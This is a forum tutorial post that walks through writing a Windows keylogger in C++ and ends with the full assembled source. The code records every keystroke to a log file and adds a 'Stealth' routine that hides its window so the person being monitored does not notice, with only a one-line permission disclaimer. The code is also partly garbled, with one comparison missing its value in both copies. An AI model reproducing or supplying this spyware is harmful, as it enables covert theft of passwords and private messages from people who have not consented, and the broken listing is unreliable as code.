jahnjhan Administrator
Posts : 53 Join date : 2012-01-29 Age : 26 Location : Batangas
| Subject: Basic Keylogger Source Code Sun 29 Jan - 13:23 | |
| This tutorial will teach you to create a keylogger in c++ using vs 2008. It can also be done in dev-c++, codegear c++ builder. This keylogger wil save a log of the keys that are pressed on your HD. Note: This tutorial is for educational purpose only. Only put the keylogger on a computer where you got permission for. ___________________________________________________________ Lets get started. ++++++++++++++++++ First we need to create a new project. Click on 'File' > 'New' > 'Project'. Now choose 'Win32 Console Application' and choose for name "Keylogger". If you get the 'Win32 Application Wizzard' click on 'Next' and then select 'Empty project' under 'Additional options' and click on 'Finish'. You should have a empty project now. Now we will add a .cpp file. Right click on 'Source Files' and take 'Add' > 'New Item'. Now take 'C++ File(.cpp)' and name it Keylogger. then click 'Add'. Now open Keylogger.cpp and Write this in it: - Spoiler:
#include <iostream> // These we need to using namespace std; // include to get our #include <windows.h> // Keylogger working. #include <winuser.h> //
Now Write This : - Spoiler:
int Save (int key_stroke, char *file); void Stealth(); //Declare Stealth.
Now we need to make a main function.(The main function will be the first that will be executed.) - Spoiler:
/* *********************************** */
Under that we will write our keylogger so it will also recognize special keys like the 'spacebar' and stuff. If you want to add some yourself here is a site where you can look up the ascii table. [You must be registered and logged in to see this link.]int Save (int key_stroke, char *file) // Here we define our save function that we declared before. - Spoiler:
{ if ( (key_stroke == 1) || (key_stroke == 2) ) return 0;
FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == // The numbers stands for the ascii value of a character fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same. else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed. else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow.. fprintf(OUTPUT_FILE, "%s", "[TAB]"); else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "[END]"); else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "[HOME]"); else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[LEFT]"); else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[UP]"); else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[DOWN]"); else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", "."); else fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE); return 0; }
Now we going to add Stealth to it. Under the latest code add again: - Spoiler:
/* *********************************** */
Now write: - Spoiler:
void Stealth() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0); }
Now, if you've done everything right, your full source code should look like below: - Spoiler:
int Save (int key_stroke, char *file);
void Stealth();
int main() { Stealth(); char i;
while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save (i,"LOG.txt"); } } system ("PAUSE"); return 0; }
/* *********************************** */
int Save (int key_stroke, char *file) { if ( (key_stroke == 1) || (key_stroke == 2) ) return 0;
FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "[TAB]"); else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "[END]"); else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "[HOME]"); else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[LEFT]"); else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[UP]"); else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[DOWN]"); else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", "."); else fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE); return 0; }
/* *********************************** */
void Stealth() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0); }
| |
|